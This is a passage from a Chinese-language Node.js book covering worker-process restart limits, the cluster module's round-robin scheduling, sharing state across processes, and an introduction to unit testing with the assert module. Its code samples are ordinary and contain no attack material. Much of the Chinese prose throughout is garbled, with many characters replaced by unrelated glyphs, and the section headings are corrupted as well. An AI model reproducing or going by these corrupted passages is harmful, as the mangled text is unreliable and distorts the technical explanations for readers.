会࠭ᒰ工作ᤈ程ᜁᮟጒ᧗ը，这ሗᮟጒ᧗ը不࡚于我们૬૥లᅻऩ࣡的情х，因为这ሗᆀ时ᫍ内

ᮟጒ᧗ը已经不ቿՋᮔయ的᝹Ꮅ，极有可能是程序编写的ᩱឧ。 
为了๖ᬓ这ሗ௃਒˦的᧗ը，在໗ᡛ一定᜺Ѷ的ᬌ҃下，不应ॆ反复᧗ը。ඊݟ在Ӭͮ时ᫍ

内᜺定只能᧗ը多࠵次，ᡓ过ᬌ҃就触发giveup事͇，նᅻஉप᧗ը工作ᤈ程这个᧗要事͇。 
为了߸੆ᬌ量᧗ը的统᝟，我们ल入一个᫲Ѵ౎做ಕ᝭，在ඇ次᧗ը工作ᤈ程之ᫍᤈᛠ੩ཁ

并ѻற᧗ը是否ܹ过ᮟጒ，ݟ下੝ᇧὙ 

// 重启ْ数 
var limit = 10; 
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// 时间单位 
var during = 60000; 
var restart = []; 
var isTooFrequently = function () { 
  // ऻ录重启时间 
  var time = Date.now(); 
  var length = restart.push(time); 
  if (length > limit) { 
    // ൽ出ፌ10߲ࢫऻ录 
    restart = restart.slice(limit * -1); 
  } 
  // ፌࢫᅃْ重启ڟ前10ْ重启ኮ间的时间间߰ 
  return restart.length >= limit && restart[restart.length - 1] - restart[0] < during; 
}; 
 
var workers = {}; 
var createWorker = function () { 
  // 检查是否໿过ೕݏ 
  if (isTooFrequently()) { 
 ǈ不ም重启ࢫ发giveup事件ة //    
    process.emit('giveup', length, during); 
    return; 
  } 
  var worker = fork(__dirname + '/worker.js'); 
  worker.on('exit', function () { 
    console.log('Worker ' + worker.pid + ' exited.'); 
    delete workers[worker.pid]; 
  }); 
  // 重ႎ启动ႎ的进程 
  worker.on('message', function (message) { 
    if (message.act === 'suicide') { 
      createWorker(); 
    } 
  }); 
  // 句柄转发 
  worker.send('server', server); 
  workers[worker.pid] = worker; 
  console.log('Create worker. pid: ' + worker.pid); 
}; 

giveup事͇是ඊuncaughtExceptionఝː᧗的ऩ࣡事͇。uncaughtException只̼ᛪᬶᏅ中౼个

工作ᤈ程ᤝѢ，在ஞͳ性γ᝼下，不会Ѣဗ用ਖ਼३不到服务的情х，ͭ是这个giveup事͇Ѷᛪᇧ

ᬶᏅ中没有͉ʹᤈ程服务了，Ӡ分ӿᬖ。为了ϣܤ性Ꮵᘼ，我们应在giveup事͇中ຊ加᧗要௅ং，

并ᝧᄢଌ系统ᄢ᜼到这个ː᧗ᩱឧ，ᤈᏪઐ᝜ኍ。 

9.3.3� 䋳䕑ഛ㸵 

在多ᤈ程之ᫍᄢե相Վ的端ԯ，使३用ਖ਼请ය能ܴ分஘到多个ᤈ程上ᤈᛠူܪ，这ࣛ౎的好

ᤈᛠᮿཁ҃作。௄ཨ࣍客人的ཁӬ分发ፋ多个Ԙ࠱ᯋआݟCPUᠪ源都ុ用起౎。这࿆࠱是可以ܪ

๗Ԣ多个Ԙ࣍РՎူܪ੝有ᖜӬ，ᥦ˥γ᝼ඇ个Ԙ࣍的工作量是一门学问，௄不能ᝧ一些Ԙ࣍঄
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不过౎，也不能ᝧ一些Ԙ࣍᫋着，这ሗγ᝼多个ူܪӬЊ工作量Мࣰ的ን႔Զ᠆ᣑڨᛥ。 
Node᳭认ଡΘ的机҃是᧓用ୱ作系统的઎ӳयን႔。੝៊的઎ӳय就是在一۶工作ᤈ程中，

᫋着的ᤈ程对到౎的请යᤈᛠ́઎，ឹ઎到ឹ服务。 
一ᓉᏪ言，这ሗ઎ӳयን႔对大ࠑ是Мࣰ的，Չ个ᤈ程可以಩૵自己的ጒ঄ऎ౎ᤈᛠ઎ӳ。

ͭ是对于NodeᏪ言，ᭉ要分ຌ的是它的ጒ঄是由CPU、I/Oˏ个部分ౝ੆的，ॕֽ઎ӳ的是CPU
的ጒ঄ऎ。对不Վ的ˉ务，可能ߚ在I/Oጒ঄，ᏪCPUᣖ为ቆ᫋的情х，这可能ᤴ੆౼个ᤈ程能

ܴ઎到ᣖ多请ය，्੆᠆ᣑ不ڨᛥ的情х。 
为 ൤ Node 在 v0.11 中 ଡ Θ 了 一 ሗ 新 的 ን ႔ 使 ३ ᠆ ᣑ ڨ ᛥ ఝ Ջ ူ ， 这 ሗ 新 的 ን ႔ Զ

Round-Robin，ԠԶᣂԶុऎ。ᣂԶុऎ的工作ழय是由˞ᤈ程接ԩᤋ接，࠱ФΙ次分发ፋ工作

ᤈ程。分发的ን႔是在N个工作ᤈ程中，ඇ次ᤤસኃi = (i + 1) mod n个ᤈ程౎发ᤞᤋ接。在cluster

ഴڰ中ը用它的ழयݟ下Ὑ 

// 启用Round-Robin  
cluster.schedulingPolicy = cluster.SCHED_RR 
// 不启用Round-Robin 
cluster.schedulingPolicy = cluster.SCHED_NONE 

੊者在环境Ԫ量中᝹ᎵNODE_CLUSTER_SCHED_POLICY的Ϙ，ݟ下੝ᇧὙ 

export NODE_CLUSTER_SCHED_POLICY=rr 
export NODE_CLUSTER_SCHED_POLICY=none 

Round-Robin᭣࣡ኤӬ，可以ᥗБCPU֖I/Oጒ঄ࢿऩ࠭ᒰ的᠆ᣑ不ڨᛥ。Round-Robinን႔也

可以᤯过̼ူ服务٧౎实ဗ，ͭ是它会࠭ᒰ服务٧上๖Ᏹ的஠͇ଠᤗቿ是ࣰ࣡ழय的ˏυ。 

9.3.4� ⢊ᗕ݅ѿ 

在ኃ5ብ中，我们ଡ到在Nodeᤈ程中不ߚࠁஉܹ多数૵，因为它会加᧗ٿڥۇ收的᠆ઝ，ᤈ

Ꮺॕֽ性能。Վ时，Node也不Љ᝴在多个ᤈ程之ᫍР享数૵。ͭ在实ᬄ的ˉ务中，ज़ज़ᭉ要Р享

一些数૵，᝝ݟᦠᎵ数૵，这在多个ᤈ程中应ॆ是一ᒰ的。为൤，在不Љ᝴Р享数૵的情х下，

我们ᭉ要一ሗழ಴֖机҃౎实ဗ数૵在多个ᤈ程之ᫍ的Р享。 
1. ㄀ϝᮍ᭄᥂ᄬټ 
解决数૵Р享最ᄯ接、ኤӬ的ழय就是᤯过ኃʻழ౎ᤈᛠ数૵ߚϱ，ඊ࠱ݟ数૵ߚஉ到数૵

ं、ᇒᄧ஠͇、ᎀߚ服务（ݟRedis）中，੝有工作ᤈ程ը动时࠱Ф读Ԩᤈ内ߚ中。ͭ这ሗழय

ᤈ程，使३它们的内部࿃খ也३ߔ౦数૵发生இԪ，还ᭉ要一ሗ机҃᤯ᅻ到Չ个ݟ在的问题是ߚ

到ఝ新。 
实ဗ࿃খՎ൥的机҃有ˏሗ，一ሗ是Չ个ߔᤈ程ԜՓኃʻழᤈᛠ定时ᣂល，ᇧ਒图ݟ图9-10

੝ᇧ。 
定时ᣂលࣛ౎的问题是ᣂល时ᫍ不能过ݟ，ࠚ౦ߔᤈ程过多，会्੆并发ݟ，ူܪ౦数૵没

有发生இԪ，这些ᣂល会没有਒˦，ᄆᄆܘ加ಉល࿃খ的开ᩘ。ݟ౦ᣂល时ᫍ过᫁，数૵发生இ

Ԫ时，不能Ԣ时ఝ新到ߔᤈ程中，会有一定的ढᤌ。 
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图9-10 定时ᣂលᇧ਒图 

2. Џࡼ䗮ⶹ 
一ሗஇᤈ的ழय是ॆ数૵发生ఝ新时，˞动᤯ᅻߔᤈ程。ॆཨ，Ԁ使是˞动᤯ᅻ，也ᭉ要一

ሗ机҃౎Ԣ时ᖌԨ数૵的இԪ。这个过程̮ཨ不能ᑱሎᣂល，ͭ我们可以ђ࠵ᣂល的ᤈ程数量，

我们࠱这ሗ用౎发ᤞ᤯ᅻ֖ಉល࿃খ是否ఝஇ的ᤈ程Զ做᤯ᅻᤈ程。为了不ຈՋˉ务᤾ᣣ，可以

 。图9-11੝ᇧݟ务᤾ᣣ，ᇧ਒图ˉʹ͉ူܪ这个ᤈ程᝹᝟为只ᤈᛠᣂល֖᤯ᅻ，不࠱

 

图9-11 ˞动᤯ᅻᇧ਒图 
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这ሗ推ᤞ机҃ݟ౦૊ᤈ程ᫍ信Ձ͛ᤫ，在ᡴ多Ի服务٧时会௃஌，是஋可以Ꮵᘼ᧓用TCP੊

UDP的ழ಴。ᤈ程在ը动时从᤯ᅻ服务ܪᬓ了读Ԩኃ一次数૵外，还࠱ᤈ程信োซб到᤯ᅻ服务

ఝ新后的数૵发ᤞፋ工作ᤈ程。由于不࠱，一ெ᤯过ᣂល发ဗ有数૵ఝ新后，಩૵ซб信ো。ܪ

๗Ԣܹ多ᤈ程ԜՓՎ一ڠழᤈᛠ࿃খಉល，࿃খֽ应ܪ的ԌҦ不至于ܹ过ࢼ大，Ӭ一的᤯ᅻ服务

ᣂលࣛ౎的ԌҦ并不大，੝以可以࠱ᣂល时ᫍុஞ३ᣖᆀ，一ெ发ဗఝ新，就能实时ڠ推ᤞ到Չ

个ߔᤈ程中。 

9.4� Cluster ῵ഫ 

前஠̭ፀ了child_processഴڰ中的大多数ጹᓫ，以Ԣݟʹ᤯过这个ഴڰౝत强大的Ӭ机ᬶ

Ꮕ。ݟ౦熟ᅻNode，也᝴你会৲ᝲ为ʹᤌᤌ不ៀclusterഴڰ。上ᤗଡԢ的问题，Node在v0.8ྟ

本时新ܘ的clusterഴڰ就能解决。在v0.8ྟ本之前，实ဗ多ᤈ程౵ౝॸᮋ᤯过child_process౎

实ဗ，要创तӬ机NodeᬶᏅ，由于有这˥多ጹᓫᭉ要ူܪ，对௾᤯工程࣍Ꮺ言是一͇相对ᣖᬱ的

工作，于是v0.8时ᄯ接ल入了clusterഴڰ，用以解决多ನCPU的ѽ用ည问题，Վ时也ଡΘ了ᣖ߸

ؒ的API，用以ူܪᤈ程的ϣܤ性问题。 
对于本ብ开ܿଡ到的创तNodeᤈ程ᬶᏅ，cluster实ဗ起౎也是很ᣏౚ的事情，ݟ下੝ᇧὙ 

// cluster.js 
var cluster = require('cluster'); 
 
cluster.setupMaster({ 
  exec: "worker.js" 
}); 
 
var cpus = require('os').cpus(); 
for (var i = 0; i < cpus.length; i++) { 
  cluster.fork(); 
} 

੯ᛠnode cluster.js࠱会३到与前஠创तߔᤈ程ᬶᏅ的஌౦相Վ。就߽ழ的஠ುᏪ言，它ఝ喜

欢ݟ下的्य作为ᇧΒὙ 

var cluster = require('cluster'); 
var http = require('http'); 
var numCPUs = require('os').cpus().length; 
 
if (cluster.isMaster) { 
  // Fork workers 
  for (var i = 0; i < numCPUs; i++) { 
    cluster.fork(); 
  } 
 
  cluster.on('exit', function(worker, code, signal) { 
    console.log('worker ' + worker.process.pid + ' died'); 
  }); 
} else { 
  // Workers can share any TCP connection 
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  // In this case its a HTTP server 
  http.createServer(function(req, res) { 
    res.writeHead(200); 
    res.end("hello world\n"); 
  }).listen(8000); 
} 

在ᤈ程中ѻற是˞ᤈ程还是工作ᤈ程，˞要Ԩ决于环境Ԫ量中是否有NODE_UNIQUE_ID，ݟ下

੝ᇧὙ 

cluster.isWorker = ('NODE_UNIQUE_ID' in process.env); 
cluster.isMaster = (cluster.isWorker === false); 

ͭ是߽ழᇧΒ中঒Ꮺѻறcluster.isMaster、঒Ꮺѻறcluster.isWorker，对于̼ᆉ的可读

性Ӡ分ࢿ。我तᝫ用cluster.setupMaster()这个API，࠱˞ᤈ程֖工作ᤈ程从̼ᆉ上߸Кҙሎ，

ᤈ程ᥦ样ᇷ݈，ҙሎ̼ᆉ之后，甚至都ਕߔ服务٧从˞ᤈ程发ᤞ到࠱Վsend()ழกᄹ起౎ᄯ接ݟ

᜿不到˞ᤈ程中有͉ʹ服务٧相关的̼ᆉ。 
᤯过cluster.setupMaster()创तߔᤈ程Ꮺ不是使用cluster.fork()，程序ፆౝ不вё˼，᤾

ᣣ分௙，̼ᆉ的可读性֖可፤એ性ᣖ好。 

9.4.1� Cluster Ꮉ԰ॳ⧚ 

事实上clusterഴڰ就是child_process֖netഴڰ的组Ջ应用。clusterը动时，ݟՎ我们在

9.2.3ᓫ᧖的̼ᆉ一样，它会在内部ը动TCP服务٧，在cluster.fork()ߔᤈ程时，࠱这个TCP服

务٧端socket的஠͇ଠᤗቿ发ᤞፋ工作ᤈ程。ݟ౦ᤈ程是᤯过cluster.fork()复҃Ѣ౎的，ᥦ˥

它的环境Ԫ量᧖就ߚ在NODE_UNIQUE_ID，ݟ౦工作ᤈ程中ߚ在listen()Νե网ፎ端ԯ的ុ用，它

ᤈ程Р享端ԯ。对于௾᤯ழߔ到ឞ஠͇ଠᤗቿ，᤯过SO_REUSEADDR端ԯ᧗用，从Ꮺ实ဗ多个ૅ࠱

यը动的ᤈ程，Ѷ不ߚ在஠͇ଠᤗቿ͛ᤫР享ኍ事情。 
在cluster内部ᬤय创तTCP服务٧的ழय对使用者౎ឬӠ分ᤨ௙，ͭ 也ൣ是这ሗழय使३它

௃กݟᄯ接使用child_processᥦ样灵活。在clusterഴڰ应用中，一个˞ᤈ程只能管ူ一组工作

ᤈ程，ݟ图9-12੝ᇧ。 

 

图9-12 在clusterഴڰ应用中，一个˞ᤈ程只能管ူ一组工作ᤈ程 

对于自ᛠ᤯过child_process౎ୱ作时，Ѷ可以ఝ灵活ڠଌ҃工作ᤈ程，甚至ଌ҃多组工作

ᤈ程。Фԓ因在于自ᛠ᤯过child_processୱ作ߔᤈ程时，可以ᬤयڠ创त多个TCP服务٧，使३
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 。图9-13੝ᇧݟ，ᤈ程可以Р享多个的服务٧端socketߔ

 

图9-13 自ᛠ᤯过child_processଌ҃多组工作ᤈ程 

9.4.2� Cluster џӊ 

对于ϣܤ性ူܪ，clusterഴڰ也఑᭚了相ॆ多的事͇。 
� forkὙ复҃一个工作ᤈ程后触发ឞ事͇。 
� onlineὙ复҃好一个工作ᤈ程后，工作ᤈ程˞动发ᤞ一్online๖োፋ˞ᤈ程，˞ᤈ程收

到๖ো后，触发ឞ事͇。 
� listeningὙ工作ᤈ程中ុ用listen()（Р享了服务٧端Socket）后，发ᤞ一్listening

๖োፋ˞ᤈ程，˞ᤈ程收到๖ো后，触发ឞ事͇。 
� disconnectὙ˞ᤈ程֖工作ᤈ程之ᫍIPC᤯᥊ற开后会触发ឞ事͇。 
� exitὙ有工作ᤈ程ᤝѢ时触发ឞ事͇。 
� setupὙcluster.setupMaster()੯ᛠ后触发ឞ事͇。 
这些事͇大多ᡱchild_processഴڰ的事͇相关，在ᤈ程ᫍ๖ো͛ᤫ的۲ᆨ上߸੆的࠯ᜈ。

这些事͇对于ܘ强应用的ϣܤ性已经ᡛܴ了。 

9.5� ᘏ㒧 

管Node从Ӭ线程的ᝇऎ౎ᝮ它有ܴᑠि的Ὑ௄不能Ќ分ѽ用多ನCPUᠪ源，ሶ定性也௃ࡉ

ก३到γᬩ。ͭ是Ꮕͳ的Ҧ量是强大的，᤯过ኤӬ的˞从ഴय，就可以࠱应用的质量ଡӣ一个

ು次。在实ᬄ的复杂ˉ务中，我们可能要ը动很多ߔᤈ程౎͉ူܪ务，ፆౝ甚至ᤉඊ˞从ഴय

复杂，ͭ是ඇ个ߔᤈ程应ॆ是ኤӬ到只做好一͇事，ཨ后᤯过ᤈ程ᫍ᤯信技术࠱它们ᤋ接起౎

Ԁ可。这ቿՋUnix的᝹᝟ူএ，ඇ个ᤈ程只做一͇事，并做好一͇事，࠱复杂分解为ኤӬ，࠱

ኤӬ组Ջ੆强大。 
可以大ࣧଡӣNode的ሶ定性，ͭ是一ெ˞ᤈ程Ѣဗ问题，੝ڰ管᤯过child_processഴࡉ

有ߔᤈ程࠱会ܾԜ管ူ。在Node的ᤈ程管ူ之外，还ᭉ要用ᄢեᤈ程数量੊ᄢե௅ং的ழयᆷ

γஞ个系统的ሶ定性，Ԁ使˞ᤈ程ѢᩱᤝѢ，也能Ԣ时३到ᄢଌ᝜ઐ，使३开发者可以Ԣ时ܪ

ူ஋ᬩ。 
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9.6� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 
� http://nodejs.org/docs/latest/api/child_process.html 
� http://nodejs.org/docs/latest/api/cluster.html 
� https://github.com/aleafs/pm Process 
� http://en.wikipedia.org/wiki/Inter-process_communication 
� http://en.wikipedia.org/wiki/Pipeline_(Unix) 
� http://www.w3.org/TR/workers/ 
� http://man7.org/linux/man-pages/man7/unix.7.html 
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在使用Nodeᤈᛠ实ᬄ的ᮉ目开发之前，我内心也డӠ分ॾॿ。ࡉ管JavaScriptԊԽৢˣ，ͭ

相ᣖ੆熟的后端语言Ꮺ言，Node࠺且ኪ是新௯Վ学。甚至对于前端，因为ՉሗՉ样的ԓ因，

JavaScript的测试都Ӡ分࠵。Node编写的在线产品，在੆ӡ上ʹ用ਖ਼᭦前能否Хܫᓡ好的质量γ

᝼，我是心ߚႠ问的。 

从最௉写Ѣ的̼ᆉᝧ自己ᅓ不着᜿，௃กዴᆷ定ͮbug到ऄͮ于一۶程序᧖的ג个ͮᎵ，到

后౎很ᢅ实ڠ᭦对自己产Ѣ的̼ᆉ，对自己̼ᆉ的了解ݟ੣心ጮᡸᥦ˥ຌఀ௙了。从᭦对问题时

的ᜁ动到˞动，测试在这个໥Ԫ过程中起到了至关᧗要的作用。 

测试的਒˦在于，在用ਖ਼๖᠟产Ѣ的̼ᆉ之前，开发者ᯪЎ๖᠟它，ፋ̀Ф᧗要的质量γ᝼。

这᧖Ϙ३ଡᧇ的是，JavaScript开发者ᭉ要ᣀԪ᜹এ，ൣ᜼自己的̼ᆉ，对自己产Ѣ的̼ᆉ᠆᠉。

为自己的̼ᆉ写测试用ΒѶ是一ሗᛠ之有஌的ழก，它能ܴᝧ开发者௙ᆷଁଦ到̼ᆉ的ᛠ为֖性

能ኍ。 

测试包դӬЊ测试、性能测试、߶К测试֖ҩ能测试ኍ几个ழ᭦，本ብ࠱从Node实践的ᝇऎ

౎̭ፀӬЊ测试֖性能测试。 

10.1� ऩܗ⌟䆩 

ӬЊ测试在ᣃ͇ᮉ目中ੵ໥着ˠᡛᣏ᧗的ᝇᓣ，是几ሗᣃ͇质量γ᝼的ழก中અ入产Ѣඊ最

高的一ሗ。ࡉ管在过Ԝ的JavaScript开发中，绝大多数人都঒᜼了这个环ᓫ，ͭ今天Node的ᄨᛠ

ᝧ我们不३不᧗新ࠅ᜼这ڰᮖ۪。 

10.1.1� ऩܗ⌟䆩ⱘᛣН 
最初接触ӬЊ测试时，很多开发者都很Ⴀ৴，自己写的̼ᆉ，自己写测试，这͇事的਒˦ʹ

在὞有的ڃ᫲Ѷᦠܫ了˃门的测试工程ࣞ࣍ү开发者测试̼ᆉ。这᧖ኃ一ሗ对自己写的̼ᆉ不在

਒的ᛠ为是开发者对自己测试自己̼ᆉ心ߚΜࣳ，认为测试是一ሗ्य，小ኪᄧ是௄ཨ是्य，

ᥦ为ʹ要Ԝ实践。ݟ౦强ᤔ实践，ᥦ就ᬣ਒写写，ᗛຈ过关ա，这使३开发者不ൣ᜼测试̼ᆉ，

ᤈᏪ不ൣ᜼自己的̼ᆉ。ᦠܫ˃门的测试工程࣍Ѷᝧ开发者对测试人տ产生Ιᠺ，߸К不关心自

己̼ᆉ的测试。 

第 1� 章
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这᧖ᭉ要ώ࠭的是，धԦᏧःឞՈᒬࣁ的࿐ይ。ᮉ目੆տРՎ开发Ѣ౎的̼ᆉ会ౝ੆ᮉ目的

产品，开发者写Ѣ౎的̼ᆉ是开发者自己的产品。要γ᝼产品的质量，就应ឞ有相应的੣ൿԜᰍ

᝼。对于开发者Ꮺ言，ӬЊ测试就是最۲本的一ሗழय。ݟ౦开发者不自己测试̼ᆉ，ᥦॸཨ要

᭦对ݟ下问题。 

(1) 测试工程࣍是否可Ιᠺ὞ 

这᧖๗Ԣ的问题有ˏ个ࡎ᭦。ኃ一个ࡎ᭦是测试工程࣍是否熟悉Nodeᮖ۪，不了解一个ᮖ۪

Ꮺ只凭ύ过ज़经ᰍ౎对这个ᮉ目ᤈᛠ测试，有可能໥Ԫ为டᛡ的ᛠ为，这对质量γ᝼的目ಕᐿ᥊

Ꮺ᯴。Բ一个ࡎ᭦是，ݟ౦ߚ在人事Ԫ动ኍԓ因，可能并不一定᜷ᄥ到开发者的̼ᆉ，从Ꮺ使测

试用Β的፤એ੆本Ԫ高。 

(2) ኃʻழ̼ᆉ是否可信ᠺ὞ 

对于Node开源社区Ꮺ言（Р有3ʹ多ഴڰ），作为一个不ᅻՏ的开发者，Ф产Ѣ的ഴݟڰ౦ᤋ

ӬЊ测试都没有ଡΘ，使用者在ૌᤤഴڰ时，内心也会᫄过多个þ᭤៧՘ÿ的Ⴀ问。 

(3) 在产品ᤕ̼过程中，ݟʹ继续γ᝼质量὞ 

ӬЊ测试的਒˦在于ඇ个测试用Β的᜷ᄥ都是一ሗ可能的੽ឲ。ݟ౦APIӣጞ时，测试用Β

可以很好ڠ೜ಉ是否Փ下Щࠓ。对于Չሗ可能的ᣤ入，一ெ测试᜷ᄥ，都能௙ᆷ它的ᣤѢ。̼ᆉ

இ动后，可以᤯过测试ፆ౦ѻற̼ᆉ的இ动是否ॕֽ已ᆷ定的ፆ౦。 

对于上ᤗ问题，ݟ౦你的ኔ಴是不关心，ᥦ˥৊喜你，你的ᮉ目只能Θᆀ时ᫍဓဓ，甚至只

是个໥ᇧ产品。 

Բ一个对ӬЊ测试૆Ⴀ的᜹ཁ是，ݟ౦要在ᮉ目中ᤈᛠӬЊ测试，ᥦ˥势ॸ会ॕֽ开发者的

ᮉ目ᤈऎ。这个ኔ಴是ᐯ定的，因为产Ѣ品质可以ˣ经Ꮵᰍ的产品，ॸཨ要ᔈ᠟ᣖ多的ዴҦ。ݟ

౦只是៯ᑻບ工程，自ཨ可以ঋᤳ产Ѣ。区Ѿ在于后续፤એ的ࢿऩ，因为有ӬЊ测试的质量γ᝼，

可以உ心ܘڠ加֖Ѻᬓҩ能。后者Ѷ会ᬝ入ˠ൥፤ᓢ的፤એ之ᡸ，ઞˋܖ补᜴ܖ，开发者也ຑຑ

Ԫ३只想做新ᮉ目，Ꮺே的ᮉ目最后Ԫ३不可፤એ，੊者不஗፤એ。甚至到ᮉ目下线时，ΙཨЌ

஭ࣷ灵̼ᆉ֖᧗复̼ᆉ。 

ӬЊ测试只是在௉య会多ᔈ᠟一定的੆本，ͭ这个੆本要ᤉᤉͯ于后య深ᬝ፤એช໻的અ

入。至于是ᤤસ在௉యઅ入੆本还是在后యઅ入，只是మʻఐٽ还是మٽఐʻ的ᤤસ。 

开̭ፀӬЊ测试之前，ᭉ要ଡԢ的问题是̼ᆉ的可测试性，它是能ܴ为Ф编写ӬЊ测试的ࡘ

前ଡ్͇。复杂的᤾ᣣ̼ᆉЌ໗Չሗ分ஂ֖ѻற，甚至像᭦్一样˼作一ڃ，要对它们ᤈᛠ测试，

ᬱऎ相ॆ大。一个ਕ᜿就是ॆ௃ก为一ൿ̼ᆉ写ѢӬЊ测试时，这ൿ̼ᆉॸཨ有ڭ։᥊，这会为

开发者ࣛ౎心ူԌҦ，这样的̼ᆉ最ᭉ要᧗ౝ。好̼ᆉ的ӬЊ测试ॸཨ是ᣏ量的，᧗ౝ֖写ӬЊ

测试之ᫍ是一个相̈Χᤈ的൥ᰠ，ॆ᧗ౝ̼ᆉ的ԌҦඊᣖ小的时候，也就਒։着̼ᆉඊᣖሶ定，

̼ᆉ的可测试性ᡔ好，甚至̼ᆉᡔኤผ。 

ኤӬᏪ言，编写可测试̼ᆉ有以下几个ԓѶ可以ᥕ९。 

� ऩ一㘠䋷Ǆݟ౦一ൿ̼ᆉ੽ઝ的ᐋ᠉ᡔ多，为Ф编写ӬЊ测试的时候就要ౝᤴఝ多的ᣤ

入数૵，ཨ后推测它的ᣤѢ。ඊݟ，一ൿ̼ᆉ中௄包դ数૵ं的ᤋ接，也包դಉល，ᥦ
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˥为它编写测试用Β就要Վ时关ซ数૵ंᤋ接֖数૵ंಉល。ᣖ好的ழय是࠱这ˏሗᐋ

᠉ᤈᛠ解ᏸ分ሎ，Ԫ੆ˏ个Ӭ一ᐋ᠉的ழก，分Ѿ测试数૵ंᤋ接֖数૵ंಉល。 

� ᥹ষᢑ䈵Ǆ᤯过对程序̼ᆉᤈᛠ接ԯઙ៵后，我们可以᧪对接ԯᤈᛠ测试，ᏪХͳ̼ᆉ

实ဗ的ԪӐ不ॕֽ为接ԯ编写的ӬЊ测试。 

� ሖ⃵ߚ⾏Ǆࡎ次分ሎ实ᬄ上是Ӭ一ᐋ᠉的一ሗ实ဗ。在MVCፆౝ的应用中，就是Цۋ的

之ࡎѬ入测试。᤯过分ʹݟ次，௃ก想៵这个̼ᆉឞࡎ౦不分ሎՉ个ݟ，ۋ次分ሎഴࡎ

后，可以ᤩࡎ测试，ᤩࡎγ᝼。 

对于开发者Ꮺ言，不仅要编写ӬЊ测试，还应ॆ编写可测试̼ᆉ。 

10.1.2� ऩܗ⌟䆩ҟ㒡 

ӬЊ测试˞要包դற言、测试ಳ౵、测试用Β、测试᜷ᄥည、mock、૆续ᬶ੆ኍ几个ழ᭦，

由于Node的ྱ൳性，它还会加入ऩ൥̼ᆉ测试֖ሒ有ழก的测试这ˏ个部分。 

1. ᮁ㿔 
᧜于JavaScript入门ᣖ为ࠓ௛，在开源社区中可以ᄹ到᝴多不ࣛӬЊ测试的ഴڰѢဗ，甚至有

的ഴڰ作者并不了解ӬЊ测试ቂቤ是ঞ˥ٿ事。开发者᤯࣡仅仅在test.js੊者demo.js᧖ᄹ到ᇧΒ

̼ᆉ，这对想ᤈ一൥使用ഴڰ的用ਖ਼会ߚ在心ူ᠆ઝ。以下为౼个开源ഴڰ的ᇧΒ̼ᆉὙ 

var readOF = require("readof"); 
readOF.read(pic, target_path, function (error, data) { 
  // do something  
}); 

൤ዜ̼ᆉ对质量没有͉ʹγ᝼，这˞要源于以下ˏཁ。 

� 没有对ᣤѢፆ౦ᤈᛠ͉ʹ的೜测。 

� ᣤ入్͇᜷ᄥည并不߸ܫ。 

这样的ᇧΒ̼ᆉࡘဗ的是þIt worksÿᏪ不是þTestingÿ。ᇧΒ̼ᆉ可以ൣ࣡ᤁᛠ并不̼ᛪ̼

ᆉ是没有问题的。ݟʹ对ᣤѢፆ౦ᤈᛠ೜测，以ᆷ认ழกុ用是ൣ࣡的，是最۲本的测试ཁ。ற

ᝒ就是ӬЊ测试中用౎γ᝼最小ӬЊ是否ൣ࣡的೜测ழก。 

以Ԣ很多˞要ഴ，ڰ在着assert这个ഴߚ౦有对Node的源ᆉᤈᛠ过研ቂ，会发ဗNode中ݟ

 ற言，፤۲ᄇመ上的解᧕是Ὑ៊ʹ。ڰ都ុ用了这个ഴڰ

ʶ˓ፆ౦˝ᄽݟርࣿ中的ʶ᫼᤾ᣣ὇ڙርࣿ᝹᝟中Ὃறᝒ὇assertionὈ௦ʶሗஉڙ

੊௦ϛ的᤾ᣣѻற式ὈὋᄫ的௦˝˿ಕᇧርࣿधԦᏧᮔయ的ፆ౦úúॆርࣿᤁᛠҁறᝒ

的ͮᎵௐὋࠪः的றᝒःឞ˝ᄽ。ᔩறᝒʿ˝ᄽὋርࣿ͗中ൢᤁᛠὋࣲѢဗ错误ζো。 

一言以ᘈ之，ற言用于೜ಉ程序在ᤁᛠ时是否໗ᡛయభ。JavaScript的ற言᜺ᔴ最௉౎自于

CommonJS的ӬЊ测试᜺ᔴ（ស᜸http://wiki.commonjs.org/wiki/Unit_Testing/1.0），Node实ဗ了᜺

ᔴ中的ற言部分。 

 的工作ழयὙڰ下̼ᆉ是assertഴݟ
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var assert = require('assert'); 
assert.equal(Math.max(1, 100), 100); 

一ெassert.equal()不໗ᡛయభ，࠱会ઊѢAssertionErrorऩ࣡，ஞ个程序࠱会Ϣൢ੯ᛠ。没

有对ᣤѢፆ౦做͉ʹற言೜ಉ的̼ᆉ，都不是测试̼ᆉ。没有测试̼ᆉ的̼ᆉ，都是不可信ᠺ的

̼ᆉ。 

在ற言᜺ᔴ中，我们定˦了以下几ሗ೜测ழก。 

� ok()ǖѻறፆ౦是否为ᄽ。 

� equal()ǖѻற实ᬄϘ与యభϘ是否相ኍ。 

� notEqual()ǖѻற实ᬄϘ与యభϘ是否不相ኍ。 

� deepEqual()ǖѻற实ᬄϘ与యభϘ是否深ऎ相ኍ（对៵੊数组的Њገ是否相ኍ）。 

� notDeepEqual()ǖѻற实ᬄϘ与యభϘ是否不深ऎ相ኍ。 

� strictEqual()ǖѻற实ᬄϘ与యభϘ是否ːಪ相ኍ（相ॆ于===）。 

� notStrictEqual()ǖѻற实ᬄϘ与యభϘ是否不ːಪ相ኍ（相ॆ于!==）。 

� throws()ǖѻற̼ᆉڰ是否ઊѢऩ࣡。 

ᬓ൤之外，Node的assertഴڰ还ੰЌ了ݟ下ˏ个ற言ழก。 

� doesNotThrow()ǖѻற̼ᆉڰ是否没有ઊѢऩ࣡。 

� ifError()ǖѻற实ᬄϘ是否为一个ϛϘ（null、undefined、0、''、false），ݟ౦实ᬄϘ

为ᄽϘ，࠱会ઊѢऩ࣡。 

目前，ࣉ᭦上的ற言ं大多都是۲于assertഴڰᤈᛠ࠯ᜈ֖ੰࡘ的，这包括ᗂՏ的should.js

ற言ं。 

2. ⌟䆩Ḛᶊ 
前᭦ଡ到ற言一ெ೜ಉܾ᠋，࠱会ઊѢऩ࣡Ϣൢஞ个应用，这对于做大᜺ഴற言೜ಉ时并不

友好。ఝ᤯用的做ก是，᝭े下ઊѢ的ऩ࣡并继续੯ᛠ，最后生੆测试ઐն。这些͉务的੽ઝ者

就是测试ಳ౵。 

测试ಳ౵用于为测试服务，它本ᢵ并不ԟ与测试，˞要用于管ူ测试用Β֖生੆测试ઐն，

ଡӣ测试用Β的开发ᤳऎ，ଡ高测试用Β的可፤એ性֖可读性，以Ԣ一些ֆ᣷性的工作。这᧖我

